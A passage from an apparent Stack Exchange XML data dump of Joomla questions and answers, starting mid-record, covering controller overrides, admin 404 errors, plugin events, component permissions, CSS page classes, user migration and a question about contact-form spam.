CommunityControllerGroupCategories&#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The admin controller 'groupcategories' is loaded by using the name of the view.&#xA;THe default url is looks like this, &lt;code&gt;&amp;lt;some_url&amp;gt;/web/administrator/index.php?option=com_community&amp;amp;view=groupcategories&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it the right way to do this? In this &lt;a href=&quot;http://atpatil.blogspot.in/2011/10/how-to-override-jomsocial-controller.html&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;, it is explained the way to override group controller, but it is not an administrator controller. There is a trigger event ' onBeforeControllerCreate' which can be used to override the class via plugin. But how can I do this if it is a administrator controller as mentioned above? What is the best method to handle this?&lt;/p&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2015-05-29T07:28:20.293" Title="How to override administrator core file?" Tags="|administrator|overrides|jomsocial|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10180" PostTypeId="2" ParentId="10179" CreationDate="2015-05-29T07:28:20.293" Score="2" Body="&lt;p&gt;It is looks like you are not using proper class name for extended class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, it should be like,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CommunityControllerGroupCategories extends CommunityControllerGroupCategoriesDefault&#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The version which you might be using from above link is an old, we have forked it and improved this in &lt;a href=&quot;https://github.com/redCOMPONENT-COM/mvcOverride&quot; rel=&quot;nofollow&quot;&gt;https://github.com/redCOMPONENT-COM/mvcOverride&lt;/a&gt; you may try to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also make sure that you are putting your code at proper place. like &lt;code&gt;code/COMPONENT_NAME/controllers/CONTROLLER_NAME.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="4082" LastActivityDate="2015-05-29T07:28:20.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10181" PostTypeId="1" CreationDate="2015-05-29T09:12:45.757" Score="4" ViewCount="18173" Body="&lt;p&gt;I can't access administrator's page; it returns 404 error not found. Although when I rename &lt;code&gt;.htaccess&lt;/code&gt; to &lt;code&gt;htaccess.txt&lt;/code&gt;, admin page works, &lt;strong&gt;but&lt;/strong&gt; the whole site returns 404 error not found. When I rename it back to &lt;code&gt;.htaccess&lt;/code&gt;, the website pages work, but not the admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Joomla 3 and I am using an extra login layer (from a plugin, but can't remember its name) for the Joomla administration panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what is causing this?&lt;/p&gt;&#xA;" OwnerUserId="3371" LastEditorUserId="12352" LastEditDate="2019-07-05T09:40:23.577" LastActivityDate="2019-07-05T09:55:14.780" Title="Administrator page 404 not found" Tags="|joomla-3.x|administrator|.htaccess-configuration|apache|nginx|" AnswerCount="6" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="10182" PostTypeId="1" AcceptedAnswerId="10184" CreationDate="2015-05-29T09:49:36.257" Score="0" ViewCount="122" Body="&lt;p&gt;I have to develop a simple plugin that add simple a text &lt;em&gt;directly&lt;/em&gt; in body and on &lt;em&gt;every page&lt;/em&gt;, the problem is i see this content only on content pages, but don't on pages like: flexicontent &amp;amp; virtuemart&#xA;For it i use event: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onContentPrepare ($context, &amp;amp;$article, &amp;amp;$params, $page) {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Type is &quot;system&quot;, what i have to do to enable it on all pages?&lt;/p&gt;&#xA;" OwnerUserId="1952" LastActivityDate="2015-05-29T10:31:38.587" Title="Plugin development, add content directly in body on every page?" Tags="|php|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10183" PostTypeId="2" ParentId="10182" CreationDate="2015-05-29T09:55:50.483" Score="0" Body="&lt;p&gt;Just a long shot, but can you try replacing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$page = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onContentPrepare ($context, &amp;amp;$article, &amp;amp;$params, $page = 0) &#xA;{&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-29T09:55:50.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10184" PostTypeId="2" ParentId="10182" CreationDate="2015-05-29T10:31:38.587" Score="1" Body="&lt;p&gt;Most likely, flexicontent and Virtuemart don't trigger the &lt;code&gt;onContentPrepare&lt;/code&gt; event. That event is something extension need to include themself. It's not automatically done by Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to have it on each page, then your better using a system event which is executed by Joomla itself.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-29T10:31:38.587" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10185" PostTypeId="2" ParentId="10181" CreationDate="2015-05-29T10:34:05.877" Score="0" Body="&lt;p&gt;Does that plugin by any chance add a token to access the admin? Like you need to add ?foo=bar to the URL to get access. Then it's working as intended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can disable that plugin by simply renaming the folder using FTP or by changing the state of it in the database (#__extension table).&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-29T10:34:05.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10186" PostTypeId="2" ParentId="10181" CreationDate="2015-05-29T10:37:34.003" Score="0" Body="&lt;p&gt;Go to &lt;strong&gt;Admin Tools&lt;/strong&gt; in the Joomla backend, then go to the &lt;strong&gt;SEO and Link Tools&lt;/strong&gt; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In there, there will be 2 options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable link migration&lt;/li&gt;&#xA;&lt;li&gt;Convert all links to HTTPS when site is accessed over SSL&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try disabling both of these if they are enabled.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-29T10:37:34.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10189" PostTypeId="1" AcceptedAnswerId="10190" CreationDate="2015-05-29T13:59:36.837" Score="2" ViewCount="4981" Body="&lt;p&gt;Hello Joomla community,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm forced to write a minimum Joomla (3.4.1) plugin that injects custom meta tags based on an URL parameter. It will be used to serve localized Facebook Open Graph stories.&lt;br&gt;&#xA;The problem is, I have literally NO Joomla and PHP background and a VERY tight deadline! Can you please explain how this can be accomplished in a bare minimum implementation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need to know is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What's the easiest/fastest way to create an empty Joomla (3.4.1 compatible) component?&lt;/li&gt;&#xA;&lt;li&gt;How can the current url be read?&lt;/li&gt;&#xA;&lt;li&gt;How can a custom  tag be injected to the page?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If those questions are answered, I should be able to figure out the rest by myself, so please explain in as much detail as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="5340" LastEditorUserId="126" LastEditDate="2015-06-11T12:48:40.767" LastActivityDate="2017-09-22T14:04:03.217" Title="How to add meta tags to a page header based on an url parameter?" Tags="|development|plugin|joomla-api|extensions|joomla-3.4|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10190" PostTypeId="2" ParentId="10189" CreationDate="2015-05-29T14:43:32.593" Score="9" Body="&lt;p&gt;Assuming that with &quot;Read Current Url&quot;, you mean that you want to be able to get request data, then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$url_parameter = $jinput-&amp;gt;get('url_param', 'default', 'filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Extended Documentation with info about the filter options:&lt;/strong&gt;   &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Retrieving_request_data_using_JInput&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To add metadata in the head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;setMetaData( 'tagname', 'tagcontent' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for the easiest/fastest way to create an empty component, check the Hello World component:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/Joomla-3.2-Hello-World-Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/Joomla-3.2-Hello-World-Component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Developing_a_Basic_Component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-09-22T14:04:03.217" LastActivityDate="2017-09-22T14:04:03.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10191" PostTypeId="1" CreationDate="2015-05-29T15:15:14.740" Score="1" ViewCount="174" Body="&lt;p&gt;I have a user who I want to give access to only one component in the backend (com_joocommerce).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed the steps suggested to me from many sources... like this one &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=749774&quot; rel=&quot;nofollow&quot;&gt;http://forum.joomla.org/viewtopic.php?t=749774&lt;/a&gt; (first reply)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that this component does not have any permissions in its options screen.  And the alternative method of installing ACL Manager is not free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I best go about managing the permissions for the component?&lt;/p&gt;&#xA;" OwnerUserId="3380" LastActivityDate="2015-06-28T15:54:22.957" Title="Limiting Access Permissions in the Backend" Tags="|permissions|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10192" PostTypeId="2" ParentId="10191" CreationDate="2015-05-29T15:35:44.613" Score="2" Body="&lt;p&gt;Add a simple access.xml file in your administrator component directory (administrator/components/com_joocommerce) and you can configure permissions for your component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&amp;gt;&#xA;&amp;lt;access component=&quot;com_joocommerce&quot;&amp;gt;&#xA;    &amp;lt;section name=&quot;component&quot;&amp;gt;&#xA;        &amp;lt;action name=&quot;core.admin&quot; title=&quot;JACTION_ADMIN&quot; description=&quot;JACTION_ADMIN_COMPONENT_DESC&quot; /&amp;gt;&#xA;        &amp;lt;action name=&quot;core.manage&quot; title=&quot;JACTION_MANAGE&quot; description=&quot;JACTION_MANAGE_COMPONENT_DESC&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/access&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in config.xml in the same directory add a new fieldset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;config&amp;gt;&#xA;    &amp;lt;!-- your other stuff here... --&amp;gt;&#xA;&#xA;    &amp;lt;fieldset name=&quot;permissions&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot; description=&quot;JCONFIG_PERMISSIONS_DESC&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;rules&quot; type=&quot;rules&quot; label=&quot;JCONFIG_PERMISSIONS_LABEL&quot; class=&quot;inputbox&quot; validate=&quot;rules&quot; filter=&quot;rules&quot; component=&quot;com_joocommerce&quot; section=&quot;component&quot;/&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/config&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you should be able to configure your access permissions for this component.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-29T15:42:54.157" LastActivityDate="2015-05-29T15:42:54.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10193" PostTypeId="1" AcceptedAnswerId="10194" CreationDate="2015-05-29T15:39:37.607" Score="0" ViewCount="98" Body="&lt;p&gt;I have searched extensively, but have not found anything useful.  Can anyone offer any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2015-05-29T16:25:02.543" Title="J3.x: Is there a way to stop custom authentication plugins from automatically creating local users?" Tags="|joomla-3.x|plugin|authentication|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10194" PostTypeId="2" ParentId="10193" CreationDate="2015-05-29T16:25:02.543" Score="1" Body="&lt;p&gt;I've solved this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of worrying about syncing two authentication sources (external + regular Joomla), I did disable the Joomla authentication plugin, and updated my custom plugin to check if the code is being called from the front end or back end, and if back end, handle Joomla logins manually from the #__users table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The users are still auto-created, but the problem of out-of-sync user accounts is now moot, and non-admin users in Joomla can be cleared automatically every night to prevent bloat.&lt;/p&gt;&#xA;" OwnerUserId="5341" LastActivityDate="2015-05-29T16:25:02.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10195" PostTypeId="1" AcceptedAnswerId="10197" CreationDate="2015-05-29T16:45:40.703" Score="3" ViewCount="722" Body="&lt;p&gt;I have a &lt;strong&gt;Menu Item&lt;/strong&gt; that links to an &lt;strong&gt;Article&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attach &quot; example&quot; css to the &lt;strong&gt;Page Class&lt;/strong&gt; under the &lt;strong&gt;Display Options&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It links to my css&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.example{&#xA;  font-family: myFirstFont;&#xA;  font-size: 32px;&#xA;  line-height: 40px;&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And works, but the entire heading, body &amp;amp; also the details are being dominated by the custom css. How would I for example just get the heading of the article to be effected?&lt;/p&gt;&#xA;&#xA;&#xA;        &#xA;                            Title               &#xA;&#xA;" OwnerDisplayName="user5312" LastActivityDate="2015-05-29T17:11:17.303" Title="Custom css 'Page Class'" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10196" PostTypeId="2" ParentId="10195" CreationDate="2015-05-29T16:55:08.980" Score="1" Body="&lt;p&gt;Change your css to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.example h1, .example h2{ font-family: myFirstFont; font-size: 32px; line-height: 40px; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is because you are applying the example class to entire block of the article. You need to specifically mention which elements you need to apply this css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above example example class applies to h1 element and h2 elements, you could choose whichever the element your article title is rendered with. usually Joomla article title rendered with h2 tag unless you have some template override.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-29T17:11:17.303" LastActivityDate="2015-05-29T17:11:17.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10197" PostTypeId="2" ParentId="10195" CreationDate="2015-05-29T17:02:18.877" Score="2" Body="&lt;p&gt;You need to use the .example class before any other classes or elements you want to style in this particular page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, for a heading 1, you are going to need something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.example h1 {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or to give a custom style to a div element with class &quot;myclass&quot; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.example div.myclass {}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As if you will be able to adjust the css rules for the body, it depends on where your template adds the extra custom class. In order to be able to use it for the body, the extra class needs to be added at the body, otherwise it will have no influence.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-29T17:02:18.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10198" PostTypeId="1" CreationDate="2015-05-29T18:49:34.093" Score="5" ViewCount="877" Body="&lt;p&gt;I am looking for details on the database changes specifically relevant to the users from 1.5 and 3.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to move 40K users manually, and want to write a script to convert all the registered user data and authentication (not anything to do with articles) from version 1.5 to 3.x, but am not certain of the changes that I have to take into consideration in the tables, and the new layout of user and authorization relations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this, know this?  I'm not looking for a tool, but the details on the joomla database variations specific to the users between versions 1.5 and 3.x so that I can write a php script to migrate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;FYI, the reason i need to do this manually is that I have to also run an audit on the accounts and cross-reference them with an external member-status table to confirm their migration.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3570" LastActivityDate="2015-05-31T22:14:52.990" Title="Move Users from 1.5 to 3.x" Tags="|joomla-3.x|user|joomla-1.5|migration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10200" PostTypeId="1" AcceptedAnswerId="10286" CreationDate="2015-05-30T07:05:16.690" Score="4" ViewCount="2881" Body="&lt;p&gt;I am totally Joomla noob and trying to figure out how to control MVC in Joomla. I've read &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_a_MVC_Component/Adding_a_view_to_the_site_part&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; &quot;Developing a MVC Component&quot; in Joomla basic tutorial and understand that &#xA; the main controller is located under &lt;code&gt;components/com_component/controller.php&lt;/code&gt; &amp;amp; other file is &lt;code&gt;components/com_helloworld/helloworld.php&lt;/code&gt; which is pointing to &lt;code&gt;controller.php&lt;/code&gt; file to execute the request. The question is, I want to create new &lt;code&gt;controller&lt;/code&gt; folder and put all &lt;code&gt;controllers&lt;/code&gt; in that folder like below. How to do that? &#xA;&lt;img src=&quot;https://i.stack.imgur.com/K6JvB.png&quot; alt=&quot;Controllers folder&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise is really appreciated.&#xA;Thank you so much!!&lt;/p&gt;&#xA;" OwnerUserId="5314" LastActivityDate="2015-06-04T01:24:21.277" Title="Multiple controllers in Joomla" Tags="|joomla-3.x|component|joomla-3.3.x|mvc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10201" PostTypeId="1" CreationDate="2015-05-30T08:51:00.713" Score="1" ViewCount="1835" Body="&lt;p&gt;I could not find any plugin, which could help me with importing rss feed (like this: &lt;a href=&quot;http://www.verzekeringsnieuws.nl/rss/algemeen.xml&quot; rel=&quot;nofollow&quot;&gt;http://www.verzekeringsnieuws.nl/rss/algemeen.xml&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found  feedGator, but it didn't work in joomla 3...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;maybe there are some ways to import rss as articles?&lt;/p&gt;&#xA;" OwnerUserId="5343" LastEditorUserId="126" LastEditDate="2015-05-30T09:56:06.427" LastActivityDate="2023-12-14T16:20:22.103" Title="Joomla 3: import rss feed" Tags="|joomla-3.x|articles|rss|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10202" PostTypeId="1" AcceptedAnswerId="10239" CreationDate="2015-05-30T10:05:44.203" Score="1" ViewCount="330" Body="&lt;p&gt;I'm creating my own component for storing products (shopping cart). The most of products usually have their prices and other attributes. What way of storing these attributes in the DB is easier and better: in a single column or as the part of json? I.e. like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id     name      price        attribs&#xA;1    Product1    1000    &quot;field1&quot;:&quot;value1&quot;&#xA;2    Product2    2000    &quot;field1&quot;:&quot;value2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id     name                  attribs&#xA;1    Product1    &quot;price&quot;:&quot;1000&quot;,&quot;field1&quot;:&quot;value1&quot;&#xA;2    Product2    &quot;price&quot;:&quot;2000&quot;,&quot;field1&quot;:&quot;value2&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The question is especially about storing thousands of products. What way is faster when Joomla and database work together and in which case server load is less? And when is it more right to store data as json instead of a single column? Please explain&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="126" LastEditDate="2015-05-30T13:11:09.870" LastActivityDate="2015-06-01T07:27:35.080" Title="Storing data in a single column of a table OR as the part of json" Tags="|component|development|joomla-api|mysql|database|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10204" PostTypeId="2" ParentId="984" CreationDate="2015-05-30T12:33:16.047" Score="3" Body="&lt;p&gt;Since this is one of the most common questions around Joomla, I though to share a new extension I came across that deals with it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugin: Direct Alias Pro&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For those people that don't want to mess with the extended capabilities of the majority of SEF extensions, this a much simpler plugin, that one of each features is to remove ids from articles, categories and tags SEF Urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Developer&lt;/strong&gt;: Alterbrains&lt;br&gt;&#xA;&lt;strong&gt;Type&lt;/strong&gt;: Paid Download&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-30T12:33:16.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10205" PostTypeId="2" ParentId="988" CreationDate="2015-05-30T12:46:43.923" Score="5" Body="&lt;p&gt;For anyone that don't want to get dirty with editing Joomla code, we shall mention that 3rd party SEF extensions provide the ability to remove the ids from the SEF urls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plenty of SEF extensions someone can find in &lt;a href=&quot;http://extensions.joomla.org/category/site-management/sef&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;JED&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/site-management/sef/sh404sef&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;SH404SEF&lt;/strong&gt;&lt;/a&gt;, is one of the most popular and used Joomla extensions, with long history and extended support by many 3rd party components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for a simpler solution, I recently came across a new plugin that provides a few features including &quot;Remove ids from article, categories and tags SEF urls&quot;. Simple and easy solution that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note1: Both the extensions mentioned above are paid downloads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note2: there is another a similar question in &lt;a href=&quot;https://joomla.stackexchange.com/questions/984/removing-category-article-numbers-in-sef/10204#10204&quot;&gt;JSE&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-30T12:46:43.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10206" PostTypeId="5" CreationDate="2015-05-30T14:05:24.190" Score="0" Body="&lt;p&gt;Form fields are input fields of a HTML form, that are available in Joomla 2.5 and later.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several standard Form Field Types available, while there is support for building custom ones if needed. Each form field type is a subclass of JFormField.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way Joomla provides a &quot;template interface&quot;, for a quick and easy way  to create forms, where users can submit data into the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These input fields are also used by Joomla extensions extensions (and actually everywhere in the administration site) to create the interface where users can enter content or configure the extension, adjust settings, etc.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some Common form field types:&lt;/h3&gt;  &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Text  &lt;/li&gt;&#xA;&lt;li&gt;Textarea  &lt;/li&gt;&#xA;&lt;li&gt;Radio  &lt;/li&gt;&#xA;&lt;li&gt;List  &lt;/li&gt;&#xA;&lt;li&gt;Checkbox  &lt;/li&gt;&#xA;&lt;li&gt;Media  &lt;/li&gt;&#xA;&lt;li&gt;Menu  &lt;/li&gt;&#xA;&lt;li&gt;Category  &lt;/li&gt;&#xA;&lt;li&gt;Access Level&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and more...&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Documentation:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;List of Standard Form Field Types:&#xA;&lt;a href=&quot;https://docs.joomla.org/Standard_form_field_types&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Standard_form_field_types&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form Fields:&#xA;&lt;a href=&quot;https://docs.joomla.org/Form_field&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Form_field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JFormField API: &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JFormField.html&quot; rel=&quot;nofollow&quot;&gt;https://api.joomla.org/cms-3/classes/JFormField.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-30T14:05:24.190" LastActivityDate="2015-05-30T14:05:24.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10207" PostTypeId="4" CreationDate="2015-05-30T14:05:24.190" Score="0" Body="Form fields are input fields of a HTML form, that are available in Joomla, that can be used to create forms or the extensions interface where users can adjust settings. There are several standard Form Field Types available, while there is support for building custom ones if needed." OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-30T14:05:24.190" LastActivityDate="2015-05-30T14:05:24.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10208" PostTypeId="1" AcceptedAnswerId="10227" CreationDate="2015-05-30T16:38:06.897" Score="2" ViewCount="375" Body="&lt;p&gt;I created a Joomla 2.5 site (needs updated I know) for a client a while back, the site hasn't been maintained in quite a while. They contacted me today concerned about an email which was (thought to be) sent from the website - via the contact form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically they have a single contact form on their site, name, email, message, send. Once sent this email goes to &lt;code&gt;office@theirdomain.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today an email was sent to hundreds of people with the title &lt;code&gt;'This is an enquiry email via theirdomain.com'&lt;/code&gt;. The message content was rubbish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question - is it possible to 'hack' the website contact form in this way? So that it sends to many people. Or, is it more likely that it's a spoofing scam? I know it's very easy to spoof a senders email address in this way. I know I could check the headers however I don't have the original email currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just like to re-assure the client that the email wad definitely not sent via the website. Also one more question, is it possible to disable the Joomla mail function completely?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not aware of any logs that I can check to confirm any of the above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice or direction will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2019-09-07T08:55:21.907" Title="Email - is this possible" Tags="|joomla-2.5|security|emails|hack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
